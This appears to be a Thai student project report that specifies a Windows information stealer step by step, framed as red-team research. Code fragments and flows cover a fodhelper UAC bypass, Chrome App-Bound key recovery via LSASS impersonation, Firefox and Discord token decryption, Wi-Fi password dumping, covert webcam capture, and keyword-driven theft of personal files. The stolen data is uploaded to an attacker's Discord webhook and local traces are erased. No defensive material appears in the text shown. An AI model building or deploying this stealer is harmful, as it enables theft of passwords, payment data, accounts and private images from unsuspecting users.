ชื่อผู้จัดทำ: ..............................................
สาขาวิชา: ..............................................
อาจารย์ที่ปรึกษา: ..............................................
ภาคการศึกษา / ปีการศึกษา: ..............................................
โครงการนี้เป็นการศึกษาและพัฒนาเครื่องมือทดสอบความปลอดภัย (Security Testing Tool) บนระบบปฏิบัติการ Windows ในรูปแบบของ Credential Harvester และ Information Stealer โดยมีจุดประสงค์เพื่อทำความเข้าใจกลไกการทำงานของมัลแวร์ประเภทนี้ในเชิงลึก ตั้งแต่การยกระดับสิทธิ์ผ่าน UAC Bypass ด้วยเทคนิค fodhelper Registry Hijack การถอดรหัสข้อมูลรับรองของเบราว์เซอร์ที่ใช้เทคโนโลยี App-Bound Encryption (v20) ของ Google Chrome ซึ่งเป็นเทคโนโลยีล่าสุด การดึง Discord Authentication Token การรวบรวมรหัสผ่าน Wi-Fi และข้อมูลส่วนบุคคลต่าง ๆ รวมถึงการออกแบบ Pipeline สำหรับส่งออกข้อมูล (Data Exfiltration) ผ่าน Discord Webhook
ผลการทดลองพบว่าระบบสามารถทำงานได้สำเร็จบน Windows 10/11 โดยใช้เวลาเฉลี่ยประมาณ 40–90 วินาทีต่อการทำงานหนึ่งครั้ง และสามารถถอดรหัสข้อมูลรับรองจากเบราว์เซอร์ Chromium-based ทั้งแบบ v10/v11 มาตรฐานและ v20 App-Bound Encryption ได้ ผลการวิจัยนี้เป็นประโยชน์ต่อการพัฒนากลยุทธ์การป้องกันระบบและการออกแบบ Defense-in-Depth สำหรับองค์กร
คำสำคัญ: Credential Harvester, Information Stealer, UAC Bypass, App-Bound Encryption, DPAPI, LSASS Impersonation, Discord Token, Red Team, Offensive Security
ในปัจจุบัน ภัยคุกคามทางไซเบอร์ประเภท Information Stealer มีความซับซ้อนและแพร่หลายมากขึ้นอย่างต่อเนื่อง ตามรายงาน Verizon Data Breach Investigations Report (DBIR) ปี 2024 พบว่า credential theft ยังคงเป็นสาเหตุหลักของการละเมิดข้อมูลมากกว่า 60% ของกรณีทั้งหมดทั่วโลก มัลแวร์ประเภทนี้ถูกพัฒนาให้ทำงานอย่างเงียบเชียบ รวดเร็ว และครอบคลุม โดยสามารถดึงข้อมูลรับรองตัวตน (Credentials) จากเบราว์เซอร์ แอปพลิเคชัน และระบบปฏิบัติการได้ภายในเวลาไม่กี่นาที
นอกจากนี้ Google ได้เปิดตัว App-Bound Encryption สำหรับ Chrome 127+ ในปี 2024 ซึ่งเพิ่มชั้นการป้องกันข้อมูลรับรองในเบราว์เซอร์ให้แข็งแกร่งกว่าเดิม อย่างไรก็ตาม งานวิจัยพบว่าเทคนิค LSASS Token Impersonation ร่วมกับ NCrypt API ยังสามารถหลีกเลี่ยงการป้องกันนี้ได้ภายใต้สภาวะที่ผู้โจมตีมีสิทธิ์ Administrator
การทำความเข้าใจกลไกการทำงานของเครื่องมือเหล่านี้จากมุมมองของฝ่ายโจมตี (Red Team Perspective) จึงเป็นสิ่งจำเป็นสำหรับนักความปลอดภัยและทีม Blue Team เพื่อออกแบบมาตรการป้องกันที่ได้ผลจริง
ศึกษาและพัฒนา UAC Bypass โดยใช้เทคนิค fodhelper.exe Registry Hijack เพื่อทำความเข้าใจช่องโหว่ในกระบวนการยกระดับสิทธิ์ (Privilege Escalation) ของ Windows ที่ยังคงมีอยู่จนถึงปัจจุบัน
ศึกษากลไกการเข้ารหัสของ Chromium ทั้งแบบ DPAPI (v10/v11) และ App-Bound Encryption (v20) รวมถึงเทคนิค LSASS Token Impersonation เพื่อเข้าถึง master key สำหรับถอดรหัสข้อมูลรับรอง
พัฒนาระบบ Multi-threaded Data Collection ที่สามารถรวบรวมข้อมูลจากหลายแหล่งพร้อมกันอย่างมีประสิทธิภาพ ได้แก่ เบราว์เซอร์ ระบบปฏิบัติการ แอปพลิเคชันเกม และไฟล์ส่วนตัว
ออกแบบ Exfiltration Pipeline ที่ครบวงจร ตั้งแต่การบีบอัดข้อมูล การส่งผ่าน Discord Webhook ไปจนถึงการลบร่องรอย (Cleanup)
นำผลการวิจัยไปประยุกต์ใช้ด้าน Defense เพื่อเสนอแนวทางการป้องกันระบบที่เหมาะสมกับภัยคุกคามในปัจจุบัน
| หมวดหมู่ | รายละเอียด |
|---|---|
| Platform เป้าหมาย | Windows 10 (21H2 ขึ้นไป) และ Windows 11 (22H2 ขึ้นไป) สถาปัตยกรรม x64 |
| ภาษาโปรแกรมหลัก | Python 3.10+ |
| Chromium Browsers | Chrome, Edge, Brave, Opera, Opera GX, Opera Air, Vivaldi, Yandex, Chromium, AVG, Avast, DuckDuckGo, Comodo, Maxthon, WaveBrowser, Shift, Comet, Epic, Iridium, Samsung Internet, Supermium, Thorium, Cromite, Cent Browser, 7Star, Sputnik, Uran, Orbitum, Kometa, Amigo, Escosia, Hola รวม 40+ เบราว์เซอร์ |
| Gecko Browsers | Firefox, Waterfox, LibreWolf, Zen Browser, Mullvad Browser, SeaMonkey, Pale Moon, Basilisk, IceWeasel |
| ข้อมูลที่รวบรวม | Saved passwords, Cookies, Autofill data, Credit card numbers, Browsing history, Discord tokens, Wi-Fi credentials, Minecraft/Steam/Roblox/GeometryDash session files, Personal files (keyword-matched), Webcam photos, Desktop screenshot, Clipboard content |
| สิทธิ์ที่ต้องการ | Administrator (ยกระดับผ่าน UAC bypass อัตโนมัติ) |
| Exfiltration Channel | Discord Webhook (HTTPS POST) |
| หมวดหมู่ | เหตุผล |
|---|---|
| Persistence Mechanism | ไม่รวม autorun/registry persistence เพื่อจำกัดขอบเขตการทดสอบ |
| Keylogging | ไม่ใช่ focus หลักของโครงการ |
| Network Lateral Movement | ข้ามขอบเขต single-host analysis |
| C2 Framework | ใช้ Discord Webhook เป็น exfil channel เพียงอย่างเดียว |
| Mobile Platform | รองรับ Windows เท่านั้น |
| macOS / Linux | ไม่รวมในขอบเขต |
สภาพแวดล้อมการทดสอบประกอบด้วยเครื่อง Host สำหรับรัน Hypervisor และ Virtual Machine ที่จำลองเป็นเครื่อง Target โดยมีข้อกำหนดดังนี้:
| ส่วนประกอบ | Specification |
|---|---|
| CPU | Intel Core i7-12th Gen หรือเทียบเท่า (รองรับ VT-x/AMD-V) |
| RAM | 16 GB DDR4 (ต้องการอย่างน้อย 8 GB สำหรับ VM) |
| Storage | SSD NVMe 512 GB ขึ้นไป |
| OS | Windows 10/11 Pro 64-bit หรือ Linux (สำหรับ development) |
| Hypervisor | VMware Workstation Pro 17.x หรือ VirtualBox 7.x |
| Network | Gigabit Ethernet / Wi-Fi 6 |
| Webcam | USB Webcam ความละเอียด 720p ขึ้นไป |
| ส่วนประกอบ | Specification |
|---|---|
| OS | Windows 10 22H2 (Build 19045) / Windows 11 23H2 (Build 22631) |
| RAM (VM) | 4–8 GB |
| Storage (VM) | 60–100 GB Virtual Disk |
| CPU (VM) | 2–4 vCPU |
| Network Mode | NAT (Isolated) — ไม่เชื่อมต่อ Internet จริงระหว่างทดสอบ |
| Snapshot | บันทึก clean snapshot ก่อนการทดสอบทุกครั้ง |
[!IMPORTANT] ต้องสร้าง Network Isolation สำหรับ VM เสมอ ห้าม VM เชื่อมต่อ Internet จริงระหว่างการทดสอบ ใช้ Webhook Interceptor (เช่น requestbin หรือ webhook.site) แทน Discord Webhook จริง
| Software | เวอร์ชัน | หน้าที่ |
|---|---|---|
| Python | 3.10–3.12 | ภาษาหลักในการพัฒนาทั้งระบบ |
| PyInstaller | 6.x | แปลงไฟล์ .py เป็น single executable .exe แบบ standalone |
| Library | เวอร์ชัน | หน้าที่ |
|---|---|---|
| pycryptodomex | 3.20+ | AES-GCM (v10/v11/v20), ChaCha20-Poly1305 decryption |
| Pillow | 10.x | Screenshot ทุกหน้าจอผ่าน ImageGrab.grab(all_screens=True) |
| requests | 2.31+ | HTTP POST ไป Discord Webhook, Discord API calls |
| requests-toolbelt | 0.10+ | Multipart encoder สำหรับ upload ไฟล์แนบ (ZIP, PNG) |
| psutil | 5.9+ | ดึง process list สำหรับ kill browser, ดึง network interface/MAC |
| pywin32 | 306+ | CryptUnprotectData (DPAPI), win32crypt |
| python-windows | 1.x | LSASS token impersonation, NCrypt API, DPAPI system-level |
| API / DLL | หน้าที่ |
|---|---|
winreg (built-in) |
อ่าน/เขียน Windows Registry สำหรับ UAC bypass |
ctypes (built-in) |
เรียก Win32 API โดยตรง (avicap32, user32, ncrypt) |
sqlite3 (built-in) |
อ่าน database ของเบราว์เซอร์ (Login Data, Cookies, Web Data) |
subprocess (built-in) |
เรียก netsh, powershell, fodhelper.exe |
avicap32.dll |
Webcam capture ผ่าน Windows Video Capture API |
ncrypt.dll |
NCryptDecrypt สำหรับ v20 App-Bound key |
nss3.dll (Firefox) |
PK11SDR_Decrypt สำหรับ Firefox credentials |
| เครื่องมือ | เวอร์ชัน | หน้าที่ |
|---|---|---|
| Wireshark | 4.x | ตรวจสอบ network traffic ระหว่างทดสอบ |
| Process Monitor (Sysinternals) | 3.x | ตรวจสอบ file system / registry access |
| x64dbg | latest | Debug และ trace การทำงานของ executable |
| VirusTotal | online | ทดสอบ detection rate จาก AV engines |
| webhook.site | online | รับ intercepted webhook requests แทน Discord จริง |
╔══════════════════════════════════════════════════════════════════════╗
║ ENTRY POINT ║
║ Luna(__CONFIG__["webhook"]) ║
║ ThreadPoolExecutor → main(webhook) ║
╚══════════════════════════════════════════════════════════════════════╝
│
▼
╔══════════════════════════════════════════════════════════════════════╗
║ PRIVILEGE ESCALATION ║
║ ║
║ is_admin() == False ║
║ │ ║
║ ├──▶ uac_bypass_fodhelper() ║
║ │ ├── WriteReg: HKCU\...\ms-settings\shell\open\command ║
║ │ ├── Run: fodhelper.exe ║
║ │ └── DeleteReg (cleanup) ║
║ │ ║
║ └──▶ (fallback) ShellExecuteW "runas" → UAC dialog ║
╚══════════════════════════════════════════════════════════════════════╝
│
(Re-run as Admin)
│
▼
╔══════════════════════════════════════════════════════════════════════╗
║ PARALLEL DATA COLLECTION (ThreadPoolExecutor) ║
║ ║
║ ┌─────────┐ ┌──────┐ ┌──────────┐ ┌───────┐ ┌────────────┐ ║
║ │Browsers │ │ Wifi │ │Minecraft │ │ Steam │ │GeometryDash│ ║
║ └────┬────┘ └──┬───┘ └────┬─────┘ └───┬───┘ └─────┬──────┘ ║
║ │ │ │ │ │ ║
║ ┌────┴────┐ ┌──┴────┐ ┌───┴──────────────┴────────────┘ ║
║ │ Roblox │ │Webcam │ │ PersonalFiles ║
║ └─────────┘ └───────┘ └────────────────────────────── ║
║ ║
╚══════════════════════════════════════════════════════════════════════╝
│
▼
╔══════════════════════════════════════════════════════════════════════╗
║ SEQUENTIAL MODULES (Discord + PcInfo) ║
║ ║
║ Discord() ──▶ Token grab → validate → upload (with screenshot) ║
║ PcInfo() ──▶ System info → format embed → POST webhook ║
╚══════════════════════════════════════════════════════════════════════╝
│
▼
╔══════════════════════════════════════════════════════════════════════╗
║ EXFILTRATION & CLEANUP ║
║ ║
║ zipup() → System-Logged-{user}.zip ║
║ MultipartEncoder → POST to Discord Webhook (with embed stats) ║
║ os.remove(zip) + shutil.rmtree(temp_path) ← cleanup ║
╚══════════════════════════════════════════════════════════════════════╝
[Target Machine]
│
├── %TEMP%\{random12}\
│ ├── Browser\
│ │ ├── passwords.txt
│ │ ├── cookies.txt
│ │ ├── history.txt
│ │ ├── autofill.txt
│ │ ├── cc.txt
│ │ ├── debug_passwords.txt
│ │ └── Firefox\{browser}\{profile}\
│ │ ├── logins.json
│ │ ├── key4.db
│ │ └── key3.db
│ ├── Wifi\
│ │ └── Wifi Passwords.txt
│ ├── Minecraft\
│ │ ├── launcher_accounts.json
│ │ ├── PrismLauncher\accounts.json
│ │ ├── LunarClient\accounts.json
│ │ └── Modrinth\app.db
│ ├── Steam\
│ │ ├── loginusers.vdf
│ │ └── config.vdf
│ ├── GeometryDash\
│ │ ├── CCGameManager.dat
│ │ └── CCLocalLevels.dat
│ ├── Roblox\
│ │ └── Cookies.txt
│ ├── Webcam\
│ │ ├── Webcam_1.bmp
│ │ └── Webcam_2.bmp
│ ├── PersonalFiles\
│ │ ├── Desktop\...
│ │ ├── Downloads\...
│ │ └── Documents\...
│ ├── desktopshot.png
│ ├── clipboard.txt
│ └── browser_stats.txt
│
└── %LOCALAPPDATA%\System-Logged-{user}.zip
│
▼
[Discord Webhook HTTPS POST]
│
┌───────────┴──────────────┐
│ Attacker's Discord │
│ Server / DM Channel │
└──────────────────────────┘
Main Thread
│
├── ThreadPoolExecutor (max_workers = cpu_count())
│ │
│ ├── Thread: Browsers.__init__()
│ │ ├── Sub-Thread × N: cookies(browser, profile)
│ │ ├── Sub-Thread × N: history(browser, profile)
│ │ ├── Sub-Thread × N: passwords(browser, profile)
│ │ ├── Sub-Thread × N: credit_cards(browser, profile)
│ │ ├── Sub-Thread × N: autofill(browser, profile)
│ │ └── Sub-Thread: firefox_all()
│ │
│ ├── Thread: Wifi.__init__()
│ ├── Thread: Minecraft.__init__()
│ ├── Thread: Steam.__init__()
│ ├── Thread: GeometryDash.__init__()
│ ├── Thread: Roblox.__init__()
│ ├── Thread: Webcam.__init__()
│ └── Thread: PersonalFiles.__init__()
│
├── Discord.__init__() [Sequential after pool]
├── PcInfo.__init__() [Sequential after Discord]
│
└── zipup() → POST webhook → cleanup
หลักการทำงาน:
fodhelper.exe คือ Windows binary ที่อยู่ใน C:\Windows\System32\fodhelper.exe มีคุณสมบัติพิเศษคือถูก mark ด้วย requestedExecutionLevel: requireAdministrator และ autoElevate: true ใน application manifest ทำให้ Windows อนุญาตให้ยกระดับสิทธิ์ได้โดยอัตโนมัติโดยไม่แสดง UAC dialog เมื่อถูกเรียกจาก process ที่มีสิทธิ์ปกติ
เมื่อ fodhelper.exe ทำงาน มันจะค้นหา handler สำหรับ ms-settings: URI scheme ในลำดับดังนี้:
HKCU\Software\Classes\ms-settings ก่อน (user-level, ไม่ต้องการสิทธิ์พิเศษ)HKLM\Software\Classes\ms-settings (system-level)ช่องโหว่อยู่ที่ข้อ 1: ผู้ใช้ทั่วไปสามารถเขียน HKCU ได้เองโดยไม่ต้องการสิทธิ์ Admin ดังนั้น หากสร้าง registry key ที่ถูกต้องใน HKCU ก่อน fodhelper.exe จะใช้ handler ที่กำหนดไว้แทน ซึ่ง handler นี้คือ executable ของเราที่จะรันด้วยสิทธิ์ Admin
ขั้นตอนการทำงาน:
ขั้นตอนที่ 1: ตรวจสอบสิทธิ์ปัจจุบัน
is_admin() → ctypes.windll.shell32.IsUserAnAdmin()
└── ถ้าเป็น Admin อยู่แล้ว → ข้ามการ bypass
ขั้นตอนที่ 2: สร้าง Registry Key
HKCU\Software\Classes\ms-settings\shell\open\command
├── (Default) = '"C:\path\to\self.exe" [args]'
└── DelegateExecute = "" (สำคัญ: ต้องมี value นี้เพื่อ trigger custom handler)
ขั้นตอนที่ 3: เรียก fodhelper.exe
subprocess.run("fodhelper.exe", creationflags=CREATE_NO_WINDOW)
└── fodhelper ค้นพบ ms-settings handler ใน HKCU
└── รัน self.exe ด้วยสิทธิ์ Admin (ไม่มี UAC dialog)
ขั้นตอนที่ 4: Cleanup
time.sleep(2) ← รอให้ process ใหม่เริ่มทำงาน
winreg.DeleteKey(HKCU, subkey) ← ลบร่องรอยออก
ขั้นตอนที่ 5: ออกจาก process เดิม
sys.exit() ← process ที่มีสิทธิ์ Admin จะ take over
Registry Structure:
HKEY_CURRENT_USER
└── Software
└── Classes
└── ms-settings
└── shell
└── open
└── command
├── (Default) = "C:\...\payload.exe"
└── DelegateExecute = ""
Fallback Mechanism:
ถ้า fodhelper bypass ล้มเหลว (เช่น UAC ตั้งค่าสูงสุด) โปรแกรมจะใช้ ShellExecuteW กับ verb "runas" เพื่อแสดง UAC dialog ตามปกติแทน
Browser module เป็น module ที่ซับซ้อนที่สุดในระบบ รองรับ 3 รูปแบบการเข้ารหัสหลักและ 2 engine (Chromium / Gecko) โดยมีการทำงานแบบ multi-threaded ต่อ browser และ profile
2.4.2.1 Chromium Browser — Database Structure
เบราว์เซอร์ตระกูล Chromium เก็บข้อมูลใน SQLite database ดังนี้:
| ไฟล์ | ข้อมูล | ตาราง |
|---|---|---|
Login Data |
Saved passwords | logins (origin_url, username_value, password_value) |
Cookies |
Session cookies | cookies (host_key, name, path, encrypted_value, is_secure, expires_utc) |
Web Data |
Autofill, Credit cards | autofill, autofill_entries, addresses, credit_cards |
History |
Browsing history | urls (url, visit_count, last_visit_time) |
Local State |
Master encryption key | JSON: os_crypt.encrypted_key หรือ os_crypt.app_bound_encrypted_key |
2.4.2.2 Master Key Extraction — Version Matrix
| Chrome Version | Encryption Scheme | Key Location | Bypass Method |
|---|---|---|---|
| < 80 | Plain text / DPAPI (no prefix) | — | CryptUnprotectData() โดยตรง |
| 80–126 | AES-256-GCM (prefix v10/v11) |
encrypted_key in Local State |
DPAPI → master key → AES-GCM |
| 127+ | App-Bound AES-256-GCM (prefix v20) |
app_bound_encrypted_key in Local State |
DPAPI → LSASS impersonation → NCrypt → master key → AES-GCM |
2.4.2.3 v10/v11 Decryption Flow (Standard DPAPI)
[Local State JSON]
"os_crypt": {
"encrypted_key": "RFBBUEK..." ← base64
}
ขั้นตอน:
1. base64.b64decode(encrypted_key)
→ b'\x44\x50\x41\x50\x49...' (first 5 bytes = "DPAPI" prefix)
2. master_key = CryptUnprotectData(enc_key[5:])
→ 32-byte AES key (ผูกกับ Windows user account ปัจจุบัน)
3. สำหรับแต่ละ password_value:
iv = password_value[3:15] (12 bytes nonce)
payload = password_value[15:] (ciphertext + tag)
cipher = AES.new(master_key, MODE_GCM, iv)
plaintext = cipher.decrypt(payload)[:-16] (ตัด 16-byte tag ออก)
2.4.2.4 v20 Decryption Flow (App-Bound Encryption)
App-Bound Encryption ถูกออกแบบมาเพื่อให้เฉพาะ Chrome process เท่านั้นที่สามารถถอดรหัสได้ โดยผูก key กับ process identity ผ่าน Windows CNG (Cryptography Next Generation) service ที่รันใน elevated context
[Local State JSON]
"os_crypt": {
"app_bound_encrypted_key": "..." ← base64
}
ขั้นตอน:
1. base64.b64decode(app_bound_encrypted_key)[4:]
(ตัด 4 bytes header ออก)
2. ลอง DPAPI ก่อน (บางเวอร์ชันยังใช้ DPAPI):
CryptUnprotectData(enc_key)
→ ถ้าได้ key ยาว ≥ 32 bytes: ใช้ [-32:] เป็น master key
→ ถ้าล้มเหลว: ไปขั้นตอน 3
3. LSASS Token Impersonation:
a. เปิดใช้ SeDebugPrivilege ใน current process token
b. ค้นหา lsass.exe process → ดึง process token
c. Duplicate token เป็น Impersonation token (SecurityImpersonation level)
d. Set thread token = lsass_impersonation_token
4. System-level DPAPI:
windows.crypto.dpapi.unprotect(enc_key) ← รันภายใต้ LSASS identity
→ system_decrypted (intermediate key blob)
5. User-level DPAPI:
windows.crypto.dpapi.unprotect(system_decrypted)
→ user_decrypted (key blob)
6. Parse Key Blob:
parse_key_blob(user_decrypted) → {flag, iv, ciphertext, tag, ...}
7. Derive Master Key ตาม flag:
flag=1 → AES-256-GCM ด้วย hardcoded AES key
flag=2 → ChaCha20-Poly1305 ด้วย hardcoded ChaCha key
flag=3 → NCrypt (CNG):
NCryptOpenStorageProvider("Microsoft Software Key Storage Provider")
NCryptOpenKey(key_name) ← ชื่อ key เช่น "Google Chromekey1"
NCryptDecrypt(encrypted_aes_key)
XOR result กับ hardcoded XOR key
AES-GCM decrypt → final 32-byte master key
8. ถอดรหัส actual data:
iv = encrypted_value[3:15]
payload = encrypted_value[15:-16]
tag = encrypted_value[-16:]
cipher = AES.new(master_key, MODE_GCM, nonce=iv)
plaintext = cipher.decrypt_and_verify(payload, tag)[32:]
(ข้าม 32 bytes แรก ซึ่งเป็น metadata prefix ของ v20)
2.4.2.5 Key Blob Structure (parse_key_blob)
Key Blob Binary Format:
┌─────────────┬─────────────┬──────┬───────────────────────────┐
│ header_len │ header │ flag │ content (ตาม flag) │
│ (4 bytes) │ (var bytes) │(1 B) │ │
└─────────────┴─────────────┴──────┴───────────────────────────┘
flag=1 (AES path):
[iv: 12B] [ciphertext: 32B] [tag: 16B]
flag=2 (ChaCha20 path):
[iv: 12B] [ciphertext: 32B] [tag: 16B]
flag=3 (CNG/NCrypt path):
[encrypted_aes_key: 32B] [iv: 12B] [ciphertext: 32B] [tag: 16B]
flag=other (raw):
[raw key data: remaining bytes]
2.4.2.6 Firefox/Gecko Decryption Flow
Firefox ใช้ Mozilla's Network Security Services (NSS) library สำหรับเข้ารหัส credentials แทน DPAPI
profile_path = %APPDATA%\Mozilla\Firefox\Profiles\{profile_id}
nss3.dll path = C:\Program Files\Mozilla Firefox\nss3.dll
ขั้นตอน:
1. Load nss3.dll ผ่าน ctypes.CDLL
2. nss.NSS_Init(profile_path.encode()) → initialize NSS กับ profile
3. อ่าน logins.json:
{
"logins": [{
"hostname": "https://example.com",
"encryptedUsername": "...", ← base64(DER-encoded CMS)
"encryptedPassword": "..." ← base64(DER-encoded CMS)
}]
}
4. decrypt_firefox_password():
decoded = base64.b64decode(encrypted_str)
inp = SECItem(data=decoded, len=len(decoded))
out = SECItem()
nss.PK11SDR_Decrypt(byref(inp), byref(out), None)
result = string_at(out.data, out.len).decode()
2.4.2.7 Browser Kill Process
ก่อนอ่าน SQLite database โปรแกรมจะ kill กระบวนการของเบราว์เซอร์ที่กำลังรันอยู่ เพราะ Chromium-based browser จะล็อกไฟล์ database ไว้ขณะรันงาน
browser_exe = ["chrome.exe", "brave.exe", "opera.exe", "msedge.exe", ...]
for proc in psutil.process_iter(['name']):
if proc.info['name'].lower() in browser_exe:
proc.kill()
time.sleep(1) # รอให้ process ตายสมบูรณ์
2.4.2.8 Safe Database Copy
เพื่อหลีกเลี่ยง database locking แม้หลัง kill process โปรแกรมจะ copy ไฟล์ database ไปยัง temp file ก่อนทุกครั้ง:
tmp = create_temp() # สร้าง temp file ชื่อสุ่ม
copy2(db_path, tmp) # copy database ไป temp
conn = sqlite3.connect(tmp) # เปิด connection จาก copy
# ... อ่านข้อมูล ...
os.remove(tmp) # ลบ temp file
วิธีค้นหา Token:
Discord เก็บ authentication token ใน LevelDB storage ของ Electron app และ browser
Pattern 1 — Encrypted Token (Discord desktop):
Regex: dQw4w9WgXcQ:[^"]*
Format: dQw4w9WgXcQ:{base64_encoded_encrypted_token}
Decrypt:
1. enc = y.split('dQw4w9WgXcQ:')[1]
2. data = base64.b64decode(enc)
3. iv = data[3:15], payload = data[15:]
4. cipher = AES.new(master_key, MODE_GCM, iv)
5. token = cipher.decrypt(payload)[:-16].decode()
Pattern 2 — Plain Token (browser storage, Firefox):
Regex: [\w-]{24,26}\.[\w-]{6}\.[\w-]{25,110}
ตรงกับ format ของ Discord token: UserID_base64.timestamp.HMAC
Token Validation:
GET https://discord.com/api/v9/users/@me
Headers: {"Authorization": token}
→ status 200: token valid
→ status 401: token invalid / expired
ข้อมูลที่ดึงได้จาก valid token:
| ข้อมูล | Discord API Endpoint |
|---|---|
| Username, ID, Avatar | GET /api/v9/users/@me |
| Email, Phone | GET /api/v9/users/@me |
| 2FA status | GET /api/v9/users/@me (mfa_enabled) |
| Nitro type | GET /api/v9/users/@me (premium_type) |
| Payment methods | GET /api/v6/users/@me/billing/payment-sources |
Paths ที่ค้นหา Token:
Discord Desktop: %APPDATA%\discord\Local Storage\leveldb\
Discord Canary: %APPDATA%\discordcanary\Local Storage\leveldb\
Discord PTB: %APPDATA%\discordptb\Local Storage\leveldb\
Vesktop: %APPDATA%\vesktop\sessionData\Local Storage\leveldb\
Legcord: %APPDATA%\legcord\Local Storage\leveldb\
Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Storage\leveldb\
Edge: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\
Brave: %LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\Default\...\leveldb\
Opera: %APPDATA%\Opera Software\Opera Stable\Local Storage\leveldb\
[+ 15 more paths]
รวบรวมข้อมูลระบบผ่าน PowerShell CIM/WMI cmdlets และ Python APIs:
| ข้อมูล | วิธีดึง |
|---|---|
| OS, Build Type, Install Date | Get-CimInstance Win32_OperatingSystem |
| CPU | Get-CimInstance Win32_Processor |
| GPU, Resolution, Refresh Rate | Get-CimInstance Win32_VideoController |
| RAM (total/available/free/%) | psutil.virtual_memory() |
| Model, System Type | Get-CimInstance Win32_ComputerSystem |
| BIOS, Serial Number | Get-CimInstance Win32_BIOS |
| HWID (UUID) | Get-CimInstance Win32_ComputerSystemProduct |
| Product Key | Get-CimInstance SoftwareLicensingService |
| Antivirus | Get-CimInstance -Namespace root/SecurityCenter2 AntivirusProduct |
| Public IP | GET https://api.ipify.org |
| MAC Address | psutil.net_if_addrs() |
| Wi-Fi Profiles + Passwords | netsh wlan show profiles, netsh wlan show profile key=clear |
| Timezone | Get-CimInstance Win32_TimeZone |
| Last Boot Time | Get-CimInstance Win32_OperatingSystem.LastBootUpTime |
ดึงรหัสผ่าน Wi-Fi ทุก network ที่เคย connect ผ่าน Windows netsh command:
Step 1: ดึง SSID ทั้งหมด
netsh wlan show profiles
→ parse lines ที่มี "All User Profile"
→ รวบรวมชื่อ SSID ทั้งหมด
Step 2: ดึง password ของแต่ละ SSID
netsh wlan show profile "SSID_NAME" key=clear
→ parse line ที่มี "Key Content"
→ password = line.split(':')[1].strip()
Output:
Wifi Name : {SSID} | Password : {password}
ต้องใช้สิทธิ์ Administrator สำหรับ network บางประเภท (Enterprise Wi-Fi)
ใช้ Windows Video for Windows (VfW) API ผ่าน avicap32.dll โดยตรง โดยไม่ต้องติดตั้ง library เพิ่มเติม:
Win32 API Call Sequence:
1. capCreateCaptureWindowW("hi", WS_CHILD, 0,0,0,0, hDesktopWnd, 0)
→ สร้าง capture window (ไม่แสดงผล invisible)
2. SendMessageA(hcam, WM_CAP_DRIVER_CONNECT, index, 0)
→ เชื่อมต่อกับ webcam ตาม index (0, 1, 2, ...)
→ return True ถ้ามี webcam, False ถ้าไม่มี
3. SendMessageA(hcam, WM_CAP_FILE_SAVEDIB, 0, path)
→ บันทึกภาพเป็นไฟล์ .bmp
4. SendMessageA(hcam, WM_CAP_DRIVER_DISCONNECT, 0, 0)
5. DestroyWindow(hcam)
Loop: เพิ่ม index จนกว่า WM_CAP_DRIVER_CONNECT จะ return False
→ Webcam_1.bmp, Webcam_2.bmp, ...
ข้อสังเกต: Windows ไม่แสดง notification ใด ๆ แก่ผู้ใช้เมื่อมีการ access webcam ผ่าน VfW API (ต่างจากกล้อง UWP/Modern App ที่มี LED indicator บังคับ)
ค้นหาและ copy ไฟล์ที่มีความเสี่ยงจากโฟลเดอร์ส่วนตัวของผู้ใช้
Search Locations:
| โฟลเดอร์ | Path |
|---|---|
| Desktop | %USERPROFILE%\Desktop |
| Downloads | %USERPROFILE%\Downloads |
| Documents | %USERPROFILE%\Documents |
| Videos | %USERPROFILE%\Videos |
| Pictures | %USERPROFILE%\Pictures |
| Music | %USERPROFILE%\Music |
| Saved Games | %USERPROFILE%\Saved Games |
Keyword Filter (ชื่อไฟล์ต้องมี keyword เหล่านี้):
acc, secrets, mfa, 2fa, password, token, tkn, crypto, cookie, bank, credit,
card, tax, note, pass, passwd, pswd, pwd, credentials, creds, cred, login,
logins, auth, backup, recovery, reco, recov, code, key, keys, priv, private,
crt, cert, certs, certfile, api, cfg, config, conf, id, journal, resume, address
Extension Filter:
.txt, .png, .docx, .pdf, .doc, .log, .ldb, .jpg, .jpeg, .xls, .xlsx,
.py, .cpp, .json, .zip, .kdbx, .wallet
Size Limit: ไฟล์ใหญ่กว่า 5 MB จะถูก skip และบันทึกใน files.txt เพื่อ reference
ขั้นตอนที่ 1 — Screenshot + Clipboard (ส่งผ่าน Discord class):
# Screenshot ทุก monitor พร้อมกัน
image = ImageGrab.grab(all_screens=True)
image.save(img_path) # → desktopshot.png
# Clipboard
powershell Get-Clipboard → clipboard.txt
ขั้นตอนที่ 2 — Token + User Info Upload:
Discord Token Loop:
GET /api/v9/users/@me → user info
GET /api/v6/users/@me/billing/payment-sources → billing
Format Discord Embed → POST webhook
ขั้นตอนที่ 3 — System Info Upload (PcInfo):
PowerShell CIM queries → format system info string
Create Discord Embed → POST webhook
ขั้นตอนที่ 4 — ZIP Compression:
_zipfile = os.path.join(localappdata, f'System-Logged-{os.getlogin()}.zip')
zipped = ZipFile(_zipfile, "w", ZIP_DEFLATED)
for dirname, _, files in os.walk(temp_path):
for file in files:
zipped.write(absname, arcname) # preserve relative paths
zipped.close()
ขั้นตอนที่ 5 — File Upload via Multipart:
encoder = MultipartEncoder({
'payload_json': json.dumps({"embeds": [stats_embed]}),
'file': (f'System-Logged-{user}.zip', file_bytes, 'application/zip')
})
requests.post(webhook, headers={'Content-type': encoder.content_type}, data=encoder)
ขั้นตอนที่ 6 — Cleanup:
os.remove(zip_file) # ลบ ZIP
shutil.rmtree(temp_path) # ลบโฟลเดอร์ temp ทั้งหมด
Minecraft:
| File | Location | เหตุผล |
|---|---|---|
launcher_accounts.json |
%APPDATA%\.minecraft\ |
Mojang/Microsoft account session |
launcher_accounts_microsoft_store.json |
%APPDATA%\.minecraft\ |
MS Store version |
TlauncherProfiles.json |
%APPDATA%\.minecraft\ |
TLauncher (cracked) |
usercache.json |
%APPDATA%\.minecraft\ |
Player UUID cache |
accounts.json |
%APPDATA%\PrismLauncher\ |
PrismLauncher session |
accounts.json |
%USERPROFILE%\.lunarclient\ |
LunarClient session |
app.db (+ shm/wal) |
%APPDATA%\ModrinthApp\ |
Modrinth session |
Steam:
| File | Location |
|---|---|
loginusers.vdf |
%PROGRAMFILES(X86)%\Steam\config\ |
config.vdf |
%PROGRAMFILES(X86)%\Steam\config\ |
Roblox:
RobloxCookies.dat → JSON → CookiesData (base64)
→ base64.b64decode → CryptUnprotectData (DPAPI)
